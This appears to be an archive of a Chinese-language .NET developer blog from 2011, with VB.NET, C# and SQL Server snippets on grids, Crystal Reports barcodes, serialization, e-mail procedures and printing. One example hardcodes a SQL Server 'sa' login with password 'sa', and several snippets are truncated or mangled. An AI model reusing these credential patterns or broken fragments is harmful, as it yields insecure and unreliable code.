        printButton.Size = New System.Drawing.Size(136, 40)
        AddHandler printButton.Click, AddressOf printButton_Click

        Me.Controls.Add(printButton)
    End Sub


    ' This is the main entry point for the application.  
    Public Shared Sub Main()
        Application.Run(New Form1())
    End Sub

End Class

NET windows API

pinvoke.net: the interop wiki!
--
在NET要引用 windows api 可在這兒查詢引用喔

datagridview 拖曳至另一datagridview

參考引用
--
'將DataGridView1及DataGridView2的AllowDrop屬性設為true

    Dim cn As New SqlConnection("server=192.168.7.23;database=northwind;user id=sa;password=sa")
    Dim cmd As New SqlCommand("select customerid,companyname,city from customers", cn)
    Dim da As New SqlDataAdapter
    Dim ds As New DataSet

    Dim index As Integer

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        da.SelectCommand = cmd
        da.Fill(ds, "customers")

        cmd.CommandText = "select customerid,companyname,'' as temp,city from customers"
        da.FillSchema(ds, SchemaType.Source, "customers2")

        DataGridView1.DataSource = ds.Tables("customers")
        DataGridView2.DataSource = ds.Tables("customers2")
    End Sub

    'DataGridView1拖曳到DataGridView2
    Private Sub DataGridView1_CellMouseDown(ByVal sender As Object, ByVal e As System.Windows.Forms.DataGridViewCellMouseEventArgs) Handles DataGridView1.CellMouseDown
        If e.Button = Windows.Forms.MouseButtons.Left Then
            index = e.RowIndex
            DataGridView1.DoDragDrop(ds.Tables("customers").Rows(e.RowIndex), DragDropEffects.Move)
        End If
    End Sub

    Private Sub DataGridView2_DragDrop(ByVal sender As Object, ByVal e As System.Windows.Forms.DragEventArgs) Handles DataGridView2.DragDrop
        Dim dr As DataRow = e.Data.GetData(GetType(DataRow))

        Dim new_dr As DataRow = ds.Tables("customers2").NewRow

        Dim j As Integer = 0

        For i As Integer = 0 To ds.Tables("customers2").Columns.Count - 1
            If i <> 2 Then
                new_dr(i) = dr(j)
                j += 1
            Else
                new_dr(i) = "ABC" '填入combobox的值
            End If
        Next
        ds.Tables("customers2").Rows.Add(new_dr)
        ds.Tables("customers").Rows.RemoveAt(index)
    End Sub

    Private Sub DataGridView2_DragEnter(ByVal sender As Object, ByVal e As System.Windows.Forms.DragEventArgs) Handles DataGridView2.DragEnter
        e.Effect = DragDropEffects.Move
    End Sub

    'DataGridView2拖曳到DataGridView1
    Private Sub DataGridView2_CellMouseDown(ByVal sender As Object, ByVal e As System.Windows.Forms.DataGridViewCellMouseEventArgs) Handles DataGridView2.CellMouseDown
        If e.Button = Windows.Forms.MouseButtons.Left Then
            index = e.RowIndex
            DataGridView2.DoDragDrop(ds.Tables("customers2").Rows(e.RowIndex), DragDropEffects.Move)
        End If
    End Sub

    Private Sub DataGridView1_DragDrop(ByVal sender As Object, ByVal e As System.Windows.Forms.DragEventArgs) Handles DataGridView1.DragDrop
        Dim dr As DataRow = e.Data.GetData(GetType(DataRow))

        Dim new_dr As DataRow = ds.Tables("customers").NewRow

        Dim j As Integer = 0

        For i As Integer = 0 To ds.Tables("customers2").Columns.Count - 1
            If i <> 2 Then
                new_dr(j) = dr(i)
                j += 1
            End If

        Next
        ds.Tables("customers").Rows.Add(new_dr)
        ds.Tables("customers2").Rows.RemoveAt(index)
    End Sub

    Private Sub DataGridView1_DragEnter(ByVal sender As Object, ByVal e As System.Windows.Forms.DragEventArgs) Handles DataGridView1.DragEnter
        e.Effect = DragDropEffects.Move 
End Sub

2011年12月4日 星期日

ERP服飾綜合管理系統:條碼機列印模組


支援:
1.硬體條碼機列印
2.報表式列印
延展:
1.只要系統有嵌入的條碼機型號+紙張大小後;使用者能任意自訂要輸出的欄位


2011年12月3日 星期六

水晶报表中显示动态图片

引用來源
---
环境:
VS 2003.net, C#, Web, Crystal Report 10

主要思路:
将图片以二进制流放入 DataTable 中,传入报表中显示。

例子:
1. 建立xml表结构定义:XSDSchema1.xsd
元素(Element):Element1
字段名
数据类型
Image
hexBinary
2. 建立报表 CrystalReport1.rpt
3. 为报表加入数据库连接
选择 Create New Connection / ADO.NET (XML), 选择步骤1建立的文件XSDSchema1.xsd
4. 将 字段 Image 拖入报表中 (是一个IBlobFieldObject对象)
5. 创建 WebForm1.aspx,用于显示报表
6. 将 CrystalReportViewer 拖入 WebForm1.aspx,
7. 在 WebForm1.cs 部分代码如下:
using CrystalDecisions.CrystalReports.Engine;
using CrystalDecisions.Shared;
using System.IO;

//获取图片的二进制内容
System.Drawing.Image img;
System.IO.MemoryStream mm = new MemoryStream();
//img 读取图片
...
//将 Image 对象内容转入 MemoryStream 中
img.Save(mm, System.Drawing.Imaging.ImageFormat.Bmp);
//将 MemoryStream 内容转换为 byte[],放入 DataTable 中
DataSet ds = new DataSet();
DataTable dt = new DataTable("Element1"); //与定义元素(Element)同名
dt.Columns.Add("Image", typeof(System.Byte[]) ); //二进制格式
DataRow dr = dt.NewRow();
dr["Image"] = mm.ToArray();  //将 MemoryStream 转换为 byte[]
//将报表文件载入 ReportDocument中
ReportDocument m_Rep = new ReportDocument();
m_Rep.Load(Server.MapPath("CrystalReport1.rpt"));
//获取报表中显示图片的对象(图片对象不会随着图片大小自动条件,需要代码控制)
BlobFieldObject imageObject = (BlobFieldObject) m_Rep.ReportDefinition.ReportObjects["Image1"] as BlobFieldObject;
imageObject.Width = img.Width * 15;  //报表中的长宽单位是缇,1像素=15缇
imageObject.Height = img.Height * 15;
//将 ReportDocument 对象传入 CrystalReportView 中,显示
CrystalReportViewer1.ReportSource = m_Rep;
CrystalReportViewer1.DataBind();

StackDoc

StackDoc

 IT新聞,JAVA,編程編,程語言,操作系統,數琚庫,服務器,軟件開發,管理,其它,綜合,SCHOOL

有很多不錯的文章

Linux 公社

Linux公社-Linux|Ubuntu|Fedora|新闻|下载|教程|安装|SUSE|Linux发行版|编程|服务器

Linux视野--记载操作系统的故事

2011年12月2日 星期五

以 .NET 创建 Code 39 条码图片 供水晶报表打印

參考來源

查詢及去除換行符號


SQL 查詢 換行符號
where id like '%'+char(10)+'%'

CHAR 可用於將控制字符插入字符串中。下表顯示了一些常用的控制字符。
控制鍵 值
Tab: CHAR(9)
換行: CHAR(10)
ENTER: CHAR(13)

Ex:
SELECT * FROM TABLE_NAME
WHERE 1=1 AND COLUMN_NAME LIKE '%'+CHAR(13)+'%'

update base_mapping set basename = replace(basename,Char(10),'')
update base_mapping set basename = replace(basename,Char(13),'')

SQL 交易機制範例


範例一:用於批次
DECLARE @ReturnCode INT
SET                  @ReturnCode = 0
BEGIN TRANSACTION
BEGIN
                          EXECUTE @ReturnCode = msdb.dbo.sp_add_jobschedule
                           @job_id = @JobID, @name = N'Schedule1', @enabled = 1, @freq_type = 1,
                          @active_start_date = 20110312,
END
IF (@@ERROR <> 0 OR @ReturnCode <> 0)  GOTO QuitWithRollback
COMMIT TRANSACTION
GOTO EndSave
QuitWithRollback:
    IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION
EndSave:

範例二:
BEGIN TRAN

Delete  from AddressNumber where PostCode not in (Select ZIP_ID  From vZip_Master)  and PostCode is not null
 IF @@ERROR <> 0
 BEGIN
  ROLLBACK TRAN
  RETURN
 END

Delete  from Alley where PostCode not in (Select ZIP_ID  From vZip_Master)  and PostCode is not null
 IF @@ERROR <> 0
 BEGIN
  ROLLBACK TRAN
  RETURN
 END

Delete  from Road where PostCode not in (Select ZIP_ID  From vZip_Master)  and PostCode is not null
 IF @@ERROR <> 0
 BEGIN
  ROLLBACK TRAN
  RETURN
 END
Delete  from Section where PostCode not in (Select ZIP_ID  From vZip_Master)  and PostCode is not null
 IF @@ERROR <> 0
 BEGIN
  ROLLBACK TRAN
  RETURN
 END
Delete  from SpecialZip where zip not in (Select ZIP_ID  From vZip_Master)  and zip is not null
 IF @@ERROR <> 0
 BEGIN
  ROLLBACK TRAN
  RETURN
 END

COMMIT TRAN

SQL SERVER Mail呼叫預存程式(sp_send_cdosysmail)-第二篇


提供呼叫並發送Mail

declare @Body nvarchar(4000)
declare @strEmail varchar(1000)
Set @strEmail = 'irol@mail.ptc.net.tw,abc@gamil.com'
select @Body = '錯誤時間:' + CONVERT(varchar, GETDATE(),120) + '錯誤訊息:五碼每日郵碼同步過程發生失敗,以昨日資料取代'
exec sp_send_cdosysmail 'user@ptc.net.tw',@strEmail,'DTS[DTS_ZIP_MASTER]在執行過程中遭遇失敗,請相關人員進行確認!!',@Body
go


declare @Body nvarchar(4000)
declare @strPhone varchar(1000)
set @strPhone = '0937581311'
select @Body = 'user:xxxx
pw:xxx
isLong:false
mobile:' + @strPhone
exec sp_send_cdosysmail 'user@ptc.net.tw','abc@abc2.com;user@ptc.net.tw','DTS[DTS_ZIP_MASTER]五碼每日郵碼同步過程發生失敗,以昨日資料取代',@Body

SQL SERVER Mail呼叫預存程式(sp_send_cdosysmail)-第一篇


提供SQL SERVER Mail呼叫預存程式

CREATE PROCEDURE [dbo].[sp_send_cdosysmail]
@From varchar(100) ,
@To varchar(100) ,
@Subject varchar(100)=" ",
@Body varchar(4000) =" "
/*********************************************************************

This stored procedure takes the parameters and sends an e-mail.
All the mail configurations are hard-coded in the stored procedure.
Comments are added to the stored procedure where necessary.
References to the CDOSYS objects are at the following MSDN Web site:
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cdosys/html/_cdosys_messaging.asp

***********************************************************************/
AS
Declare @iMsg int
Declare @hr int
Declare @source varchar(255)
Declare @description varchar(500)
Declare @output varchar(1000)




--************* Create the CDO.Message Object ************************
EXEC @hr = sp_OACreate 'CDO.Message', @iMsg OUT

--***************Configuring the Message Object ******************
-- This is to configure a remote SMTP server.
-- http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cdosys/html/_cdosys_schema_configuration_sendusing.asp
EXEC @hr = sp_OASetProperty @iMsg, 'Configuration.fields("http://schemas.microsoft.com/cdo/configuration/sendusing").Value','2'
-- This is to configure the Server Name or IP address.
-- Replace MailServerName by the name or IP of your SMTP Server.
EXEC @hr = sp_OASetProperty @iMsg, 'Configuration.fields("http://schemas.microsoft.com/cdo/configuration/smtpserver").Value', '10.99.99.99

-- Save the configurations to the message object.
EXEC @hr = sp_OAMethod @iMsg, 'Configuration.Fields.Update', null

-- Set the e-mail parameters.
EXEC @hr = sp_OASetProperty @iMsg, 'To', @To
EXEC @hr = sp_OASetProperty @iMsg, 'From', @From
EXEC @hr = sp_OASetProperty @iMsg, 'Subject', @Subject


-- If you are using HTML e-mail, use 'HTMLBody' instead of 'TextBody'.
EXEC @hr = sp_OASetProperty @iMsg, 'TextBody', @Body
EXEC @hr = sp_OAMethod @iMsg, 'Send', NULL

-- Sample error handling.
IF @hr <>0
select @hr
BEGIN
EXEC @hr = sp_OAGetErrorInfo NULL, @source OUT, @description OUT
IF @hr = 0
BEGIN
SELECT @output = ' Source: ' + @source
PRINT @output
SELECT @output = ' Description: ' + @description
PRINT @output
END
ELSE
BEGIN
PRINT ' sp_OAGetErrorInfo failed.'
RETURN
END
END

-- Do some error handling after each step if you have to.
-- Clean up the objects created.
EXEC @hr = sp_OADestroy @iMsg
GO

C# 日期轉換


//日期轉換簡易
   string strBeginDay = DateTime.Now.ToString("yyyy/MM/dd");
   string strEndDay = DateTime.Now.AddMonths(-3).ToString("yyyy/MM/dd");

   //日期轉換進階
   string strD1 = aryFields[3,1].ToString() + aryFields[4,1].ToString();
   DateTime dt = DateTime.ParseExact(strD1,"yyyyMMddHHmmss",System.Globalization.CultureInfo.CurrentCulture);
   strD1  = dt.ToString("yyyy/MM/dd HH:mm:ss");

CrystalReport中動態載入外部圖片(Code39為例)

請參考:CrystalReport中動態載入外部圖片(Code39為例)



Code39 產出的BarCode 一般都為Bitmap的物件
CrystalReport 中產生動態圖片我紀錄我實做過的兩種方法

第一種方式:使用圖片位置的來源路徑
這種方式只要指定你的URL路徑就可以了,Code39 程式碼會Retrun Jpeg的格式。
這個Jpeg直接在Code39 程式產生Bitmap後,在馬上轉成Jpeg
直接回傳,這樣就可以直接顯示圖片。

   Sample Code :
   Bitmap oBmp;
   oBmp = GetCode39(Request.QueryString["id3"]);
   oBmp.Save(Response.OutputStream, ImageFormat.Jpeg);




第二種方式:使用DataSet動態Loading

將Bitmap轉成Byte變數塞入DataSet中,利用CrystalReport 加入此變數。
其中比較要注意的有:
1. CR中的變數要為BLOB變數,DataSet 變數設定為Base64Binary or Byte
2. objDTbe.Columns.Add(strColumnName[i],System.Type.GetType("System.Byte[]"));
3.CR中圖片可以設定成「自動調整大小」比較好看一點(以BarCode為例的話)

Sample Code :
 //組成要傳給CR的DataSet
   DataSet objDs = new DataSet();
   DataTable objDTbe=new DataTable("ENTprintTable");
   string[] strColumnName={"BILL_ID","SEND_DEP","SEND_EMP","REC_DEP","REC_EMP","REC_ZIP","REC_BASE","GOOD_MEMO","MEMO","IMG","CREATE_DATE"};
   for(int i=0;i
   {
    if (i == 9)
     objDTbe.Columns.Add(strColumnName[i],System.Type.GetType("System.Byte[]"));
    else
     objDTbe.Columns.Add(strColumnName[i]);
   }

   //Produce Bar Code's Byte Type
   Code39Hander BarCode = new Code39Hander();
   Bitmap oBmp =  BarCode.GetCode39("A0000000001");
   MemoryStream MyMS = new MemoryStream();
   oBmp.Save(MyMS, System.Drawing.Imaging.ImageFormat.Jpeg);

 //新增資料
   DataRow objDRow=objDTbe.NewRow();
   objDRow[0] = "A1000000001";
   objDRow[1] = "總部-人力資源TEAM";
   objDRow[2] = "1011-吳小劫";
   objDRow[3] = "南港營業所";
   objDRow[4] = "3712-怡靜";
   objDRow[5] = "11011";
   objDRow[6] = "五堵BASE";
   objDRow[7] = "營業所薪資條";
   objDRow[8] = "收到後請回饋SD";
   objDRow[9] = MyMS.ToArray();
   objDRow[10] = DateTime.Now.ToString("yyyy/MM/dd");
   objDTbe.Rows.Add(objDRow);
   MyMS.Close();

Visual Fortran線上教學

Visual Fortran線上教學

Fortran77和90/95编程入门 

:: CODE Magazine ::

:: CODE Magazine ::

真多語言開發

2011年12月1日 星期四

Microsoft Visual Studio 2008&2010 Shell

Microsoft Visual Studio 2008 Shell 
Microsoft Visual Studio 2010 Shell 
--
引用簡述:
Visual Studio Shell (獨立模式) 提供建置自訂品牌工具環境的基礎,可以與 Visual Studio 並行執行。有了 Visual Studio Shell (獨立模式),您可以重新使用應用程式中的 Visual Studio IDE,而將重心放在修復核心工具問題上,加速開發的速度。
本下載包含可轉散發執行二進位檔,可以隨著您的 Visual Studio Shell (獨立模式) 架構應用程式散發。如果需要開發或測試您的 Visual Studio Shell (獨立模式) 架構應用程式,請下載 Visual Studio 2008 & 2010 SDK。
--
Visual Studio 2008 SDK 1.1
Visual Studio 2010 SDK

--
Visual Studio 2008 Shell (整合模式) SP 1 可轉散發套件
Microsoft Visual Studio 2010 Shell (整合) 可轉散發套件 

Accessing Visual FoxPro Data in Visual Studio .NET

請參考微軟MSDN
 

.NET for Visual FoxPro Developers (線上書)

.NET for Visual FoxPro Developers
內容不錯

取字串長度


Response.Write(System.Text.Encoding.Default.GetBytes(str).Length)
當客戶說明第11~20的長度為名子
byte[] bTemp=System.Text.Encoding.Default.GetBytes(strTempA);
String strName=System.Text.Encoding.Default.GetString(bTemp,11,10);

這樣就可以根據正確的長度位子來擷取所要的資料了
System.Text.Encoding.Default.GetBytes的意思為將此字串以此系統的編碼方式轉換成BYTE的形式
System.Text.Encoding.Default.GetString的意思為將byte轉成字串然後後面的參數為起始未至,跟長度

javascript grid

ActiveWidgets • Free trial
Flexigrid
EditableGrid - Make your HTML tables editable 

2011年11月30日 星期三

印表機分享設定 Epson C67 為例

參考(1)
參考(2)
---
(1)
Windows印表機分享
建議你在client端用setup印表機的方式安裝,再設定連接埠,比較不會出問題
(選Local port->連接埠名稱 //xxx.xxx.xxx.xxx/???????
也就是//PC的IP/分享的印表機名稱,ip的確認方式:在程式集/附屬應用程式/命令提示字元 輸入ipconfig即可看到你網卡的ip)
原因在於用直接分享的方式連,雖然很方便,但是有可能會造成client端印表機驅動程式功能不全,造成不可預期的列印問題

(2)
原來不要直接在網路分享上點分享的印表機安裝
而是要在要使用的CLIENT端先安裝printer driver
"開始"->"設定"->"印表機及傳真"->選該印表機右鍵按"內容"
->"連接埠"->新增連接埠"->選"Local Port"->"新增連接埠"->
跳出一個小視窗輸入你要使用的印表機
例如: //ip_or_username/printer_name
----------------------------------------------------------------
以上是參考,底下為我的實際作法

A.先在要開分享的PC上接好印表機並安裝驅動程式後;並開分享
B.Cleint 端,安裝方式:*重點在此* (並準備好印表機驅動程式)





2011年11月29日 星期二

如何在 Visual Basic.NET 中使用 SqlDataAdapter 物件更新 SQL Server 資料庫

微軟MSDN
--

google 的線上應用程式商店

Chrome 線上應用程式商店
--
使用 Chrome 時,自動導引此網址;此內容已將所有google 全部GUI化
要找功能,真是更方便了

分頁~資料數~限定每頁細項顯示資料數

參考來源










------
2-4 . 公式解說 :
CrystalReport 函數運用 : 函數分類 --> 列印狀態 -->
OnLastRecord : 判斷目前資料是否顯示到最後一筆,並回傳 True 或是 False 。
 RecordNumber : 記錄目前顯示的資料數,由 1~~N。
函數分類 --> 程式捷徑 -->
IIF (運算式,當運算為 True ,當運算式為 False )
函數分類 --> 運算子 -->
mod :
公式 :

 IIF (OnLastRecord ,false ,if RecordNumber mod 20 = 0 then true else false );
判斷當 OnLastRecord = True ,表示最後一筆資料,就停止分頁。
判斷當 OnLastRecord = False ,就去計算 目前資料數 RecordNumber mod 20 是否等於 0 。
等於 0 表示繼續分頁,不等於 0 表示不分頁。

2011年11月25日 星期五

無法序列化 datatable



---
真是神奇,就是查不出差異性在哪
相同code , 不同模組而已;一邊可以,另一個卻不行..Orz
不得已,只好將datatable writexml , 改為:dataset writexml  (即可序列化 xml )

如何用 C# 撰寫序列化(Serialize)與反序列化(Deserialize)

參考引用:
--
1. 序列化(Serialize):將一個物件實體轉換成 XML 格式

    public static string SpecificationDataTableSerialize(dsSpecifications.SpecificationDataTable dt)
    {
        System.Xml.Serialization.XmlSerializer ser = new System.Xml.Serialization.XmlSerializer(dt.GetType());

        StringBuilder sb = new StringBuilder();

        System.IO.StringWriter writer = new System.IO.StringWriter(sb);

        ser.Serialize(writer, dt);

        return sb.ToString();
    }

2. 反序列化(Deserialize):將一個 XML 文件轉成物件實體

    public static dsSpecifications.SpecificationDataTable SpecificationDataTableDeserialize(string s)
    {
        dsSpecifications.SpecificationDataTable dt = new dsSpecifications.SpecificationDataTable();

        // 如果傳入的 s 字串不是有效的 XML 格式的話,會發生 Exception,記得要做好 Error Handling
        System.Xml.XmlDocument xdoc = new System.Xml.XmlDocument();
        xdoc.LoadXml(s);
        System.Xml.XmlNodeReader reader = new System.Xml.XmlNodeReader(xdoc.DocumentElement);
        System.Xml.Serialization.XmlSerializer ser = new System.Xml.Serialization.XmlSerializer(dt.GetType());
        object obj = ser.Deserialize(reader);

        return obj as dsSpecifications.SpecificationDataTable;
    }

DataTable的序列化和反序列化



///
/// 序列化DataTable
///
/// DataTable
/// 序列化的DataTable
private static string SerializeDataTableXml(DataTable pDt) {
// 序列化DataTable
StringBuilder sb = new StringBuilder();
XmlWriter writer = XmlWriter.Create(sb);
XmlSerializer serializer = new XmlSerializer(typeof(DataTable));
serializer.Serialize(writer, pDt);
writer.Close();
return sb.ToString();
}

///
/// 反序列化DataTable
///
/// 序列化的DataTable
/// DataTable
public static DataTable DeserializeDataTable(string pXml) {

StringReader strReader = new StringReader(pXml);
XmlReader xmlReader = XmlReader.Create(strReader);
XmlSerializer serializer = new XmlSerializer(typeof(DataTable));

DataTable dt = serializer.Deserialize(xmlReader) as DataTable;

return dt;
}

透過手寫程式了解GridView的運作

請參考來源
--
寫得很詳細唷! 是不錯的範例;讚一個!

直接將word檔送至印表機

參考引用
--
 mports Microsoft.Office.Interop

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Dim wod_app As New Word.Application '這邊要注意建立app時要用new
Dim wod_doc As New Word.Document

wod_doc = wod_app.Documents.Open("c:\1.doc", , True)



wod_app.ActiveDocument.SaveAs("c:\" & i & ".doc")

' wod_app.Visible = True '預覽列印
wod_app.PrintOut(Copies:=1) '直接列印預設印表機


wod_app.Quit()
End Sub

设置打印机纸张大小

參考引用:
--


using System.Drawing.Printing.PrintDocument
using System.Drawing.Printing.PrinterSettings.PaperSizeCollection
using System.Drawing.Printing.PaperSize
using System.Drawing.Printing.PageSettings
/////////需要以上引用
PrintDocument pd = new PrintDocument();
PaperSize p=null;
foreach(PaperSize ps in pd.PrinterSettings.PaperSizes)
{   if(ps.PaperName.Equals("A3"))
  p = ps;
}
pd.DefaultPageSettings.PaperSize = p;
pd.Print();


指定:
pd.DefaultPageSettings.PaperSize = new PaperSize("自定义名称",宽,长)

2011年11月24日 星期四

自己设计的一个printpreview程序

參考引用
--
 自己设计的一个printpreview程序,最大的特点是把页面设置,打印设置,字体设置整合到一个窗口中了。还有很多问题,希望高手指点一二。
源代码:

Imports System.Drawing.printing
Imports System.io
Public Class previewcontrol
    Inherits System.Windows.Forms.Form

#Region " Windows 窗体设计器生成的代码 "

    Public Sub New()
        MyBase.New()

        '该调用是 Windows 窗体设计器所必需的。
        InitializeComponent()

        '在 InitializeComponent() 调用之后添加任何初始化

    End Sub

    '窗体重写 dispose 以清理组件列表。
    Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean)
        If disposing Then
            If Not (components Is Nothing) Then
                components.Dispose()
            End If
        End If
        MyBase.Dispose(disposing)
    End Sub

    'Windows 窗体设计器所必需的
    Private components As System.ComponentModel.IContainer

    '注意: 以下过程是 Windows 窗体设计器所必需的
    '可以使用 Windows 窗体设计器修改此过程。
    '不要使用代码编辑器修改它。
    Friend WithEvents PrintPreviewControl1 As System.Windows.Forms.PrintPreviewControl
    Friend WithEvents printsetup As dbcbutton.dbcbutton
    Private WithEvents pagesetup As dbcbutton.dbcbutton
    Friend WithEvents Label1 As System.Windows.Forms.Label
    Friend WithEvents Label2 As System.Windows.Forms.Label
    Friend WithEvents Label3 As System.Windows.Forms.Label
    Friend WithEvents openfile As dbcbutton.dbcbutton
    Friend WithEvents setfont As dbcbutton.dbcbutton
    Friend WithEvents printthis As dbcbutton.dbcbutton
    Friend WithEvents pagecount As System.Windows.Forms.NumericUpDown
    Friend WithEvents pageroom As System.Windows.Forms.ComboBox
     Private Sub InitializeComponent()
        Me.PrintPreviewControl1 = New System.Windows.Forms.PrintPreviewControl
        Me.printsetup = New dbcbutton.dbcbutton
        Me.pagesetup = New dbcbutton.dbcbutton
        Me.pagecount = New System.Windows.Forms.NumericUpDown
        Me.pageroom = New System.Windows.Forms.ComboBox
        Me.Label1 = New System.Windows.Forms.Label
        Me.Label2 = New System.Windows.Forms.Label
        Me.Label3 = New System.Windows.Forms.Label
        Me.openfile = New dbcbutton.dbcbutton
        Me.setfont = New dbcbutton.dbcbutton
        Me.printthis = New dbcbutton.dbcbutton
        CType(Me.pagecount, System.ComponentModel.ISupportInitialize).BeginInit()
        Me.SuspendLayout()
        '
        'PrintPreviewControl1
        '
        Me.PrintPreviewControl1.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _
                    Or System.Windows.Forms.AnchorStyles.Left) _
                    Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles)
        Me.PrintPreviewControl1.AutoZoom = False
        Me.PrintPreviewControl1.Location = New System.Drawing.Point(8, 40)
        Me.PrintPreviewControl1.Name = "PrintPreviewControl1"
        Me.PrintPreviewControl1.Size = New System.Drawing.Size(696, 280)
        Me.PrintPreviewControl1.TabIndex = 0
        Me.PrintPreviewControl1.Zoom = 0.3
        '
        'printsetup
        '
        Me.printsetup.BackColor = System.Drawing.SystemColors.Control
        Me.printsetup.ButtonStyle = dbcbutton.dbcbutton.Style.RectStyle
        Me.printsetup.GrayColor = System.Drawing.Color.BurlyWood
        Me.printsetup.LightColor = System.Drawing.Color.White
        Me.printsetup.Location = New System.Drawing.Point(168, 8)
        Me.printsetup.mytext = "打印设置"
        Me.printsetup.Name = "printsetup"
        Me.printsetup.Size = New System.Drawing.Size(72, 24)
        Me.printsetup.TabIndex = 1
        '
        'pagesetup
        '
        Me.pagesetup.BackColor = System.Drawing.SystemColors.Control
        Me.pagesetup.ButtonStyle = dbcbutton.dbcbutton.Style.RectStyle
        Me.pagesetup.GrayColor = System.Drawing.Color.BurlyWood
        Me.pagesetup.LightColor = System.Drawing.Color.White
        Me.pagesetup.Location = New System.Drawing.Point(256, 8)
        Me.pagesetup.mytext = "页面设置"
        Me.pagesetup.Name = "pagesetup"
        Me.pagesetup.Size = New System.Drawing.Size(72, 24)
        Me.pagesetup.TabIndex = 2
        '
        'pagecount
        '
        Me.pagecount.Location = New System.Drawing.Point(624, 11)
        Me.pagecount.Minimum = New Decimal(New Integer() {1, 0, 0, 0})
        Me.pagecount.Name = "pagecount"
        Me.pagecount.Size = New System.Drawing.Size(40, 21)
        Me.pagecount.TabIndex = 3
        Me.pagecount.Value = New Decimal(New Integer() {1, 0, 0, 0})
        '
        'pageroom
        '
        Me.pageroom.Items.AddRange(New Object() {"25%", "50%", "75%", "100%"})
        Me.pageroom.Location = New System.Drawing.Point(512, 12)
        Me.pageroom.Name = "pageroom"
        Me.pageroom.Size = New System.Drawing.Size(56, 20)
        Me.pageroom.TabIndex = 4
        Me.pageroom.Text = "缩放"
        '
        'Label1
        '
        Me.Label1.Location = New System.Drawing.Point(456, 16)
        Me.Label1.Name = "Label1"
        Me.Label1.Size = New System.Drawing.Size(48, 16)
        Me.Label1.TabIndex = 5
        Me.Label1.Text = "缩放:"
        Me.Label1.TextAlign = System.Drawing.ContentAlignment.MiddleCenter
        '
        'Label2
        '
        Me.Label2.Location = New System.Drawing.Point(584, 16)
        Me.Label2.Name = "Label2"
        Me.Label2.Size = New System.Drawing.Size(32, 16)
        Me.Label2.TabIndex = 6
        Me.Label2.Text = "第"
        Me.Label2.TextAlign = System.Drawing.ContentAlignment.MiddleCenter
        '
        'Label3
        '
        Me.Label3.Location = New System.Drawing.Point(672, 16)
        Me.Label3.Name = "Label3"
        Me.Label3.Size = New System.Drawing.Size(32, 16)
        Me.Label3.TabIndex = 7
        Me.Label3.Text = "页"
        Me.Label3.TextAlign = System.Drawing.ContentAlignment.MiddleCenter
        '
        'openfile
        '
        Me.openfile.BackColor = System.Drawing.SystemColors.Control
        Me.openfile.ButtonStyle = dbcbutton.dbcbutton.Style.RectStyle
        Me.openfile.GrayColor = System.Drawing.Color.BurlyWood
        Me.openfile.LightColor = System.Drawing.Color.White
        Me.openfile.Location = New System.Drawing.Point(8, 8)
        Me.openfile.mytext = "选择文件"
        Me.openfile.Name = "openfile"
        Me.openfile.Size = New System.Drawing.Size(72, 24)
        Me.openfile.TabIndex = 8
        '
        'setfont
        '
        Me.setfont.BackColor = System.Drawing.SystemColors.Control
        Me.setfont.ButtonStyle = dbcbutton.dbcbutton.Style.RectStyle
        Me.setfont.GrayColor = System.Drawing.Color.BurlyWood
        Me.setfont.LightColor = System.Drawing.Color.White
        Me.setfont.Location = New System.Drawing.Point(88, 8)
        Me.setfont.mytext = "设置字体"
        Me.setfont.Name = "setfont"
        Me.setfont.Size = New System.Drawing.Size(72, 24)
        Me.setfont.TabIndex = 9
        '
        'printthis
        '
        Me.printthis.BackColor = System.Drawing.SystemColors.Control
        Me.printthis.ButtonStyle = dbcbutton.dbcbutton.Style.RectStyle
        Me.printthis.GrayColor = System.Drawing.Color.BurlyWood
        Me.printthis.LightColor = System.Drawing.Color.White
        Me.printthis.Location = New System.Drawing.Point(344, 8)
        Me.printthis.mytext = "开始打印"
        Me.printthis.Name = "printthis"
        Me.printthis.Size = New System.Drawing.Size(72, 24)
        Me.printthis.TabIndex = 10
        '
        'previewcontrol
        '
        Me.AutoScaleBaseSize = New System.Drawing.Size(6, 14)
        Me.ClientSize = New System.Drawing.Size(712, 325)
        Me.Controls.Add(Me.printthis)
        Me.Controls.Add(Me.setfont)
        Me.Controls.Add(Me.openfile)
        Me.Controls.Add(Me.Label3)
        Me.Controls.Add(Me.Label2)
        Me.Controls.Add(Me.Label1)
        Me.Controls.Add(Me.pageroom)
        Me.Controls.Add(Me.pagecount)
        Me.Controls.Add(Me.pagesetup)
        Me.Controls.Add(Me.printsetup)
        Me.Controls.Add(Me.PrintPreviewControl1)
        Me.Name = "previewcontrol"
        Me.Text = "previewcontrol"
        CType(Me.pagecount, System.ComponentModel.ISupportInitialize).EndInit()
        Me.ResumeLayout(False)

    End Sub

#End Region
    Private printstream As StreamReader
    Private printfont As Font
    Dim newprintdocument As New PrintDocument
    Private totalpage As Single = 0 '存放总页数
    Private Sub previewcontrol_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        AddHandler newprintdocument.PrintPage, AddressOf newprintdocument_printpage
    End Sub

    '页面的printpage函数
    Private Sub newprintdocument_printpage(ByVal sender As Object, ByVal ev As PrintPageEventArgs)
        Try
            totalpage += 1
            If printstream.ReadLine Is Nothing Then
                MsgBox("无内容")
                Exit Sub
            End If

            If printfont Is Nothing Then
                printfont = New Font("宋体", 12)
            End If

            Dim pagelines As Single '存放每页可打印的行数
            Dim lineheight As Single = printfont.GetHeight(ev.Graphics) '存放行高
            Dim xpos As Single = 0 '存放每行打印的X坐标
            Dim ypos As Single = 0 '存放每行打印的Y坐标
            Dim linecount As Single = 0 '存放已经打印的行数
            Dim strformat As New StringFormat
            Dim left As Single = ev.MarginBounds.Left
            Dim top As Single = ev.MarginBounds.Top
            strformat.FormatFlags = StringFormatFlags.LineLimit
            Dim printbrush As Brush
            printbrush = New SolidBrush(Color.Black)
            pagelines = ev.MarginBounds.Height / lineheight
            Dim strline As String = Nothing
            Do While linecount < pagelines
                strline = printstream.ReadLine
                If strline Is Nothing Then
                    Exit Do
                End If
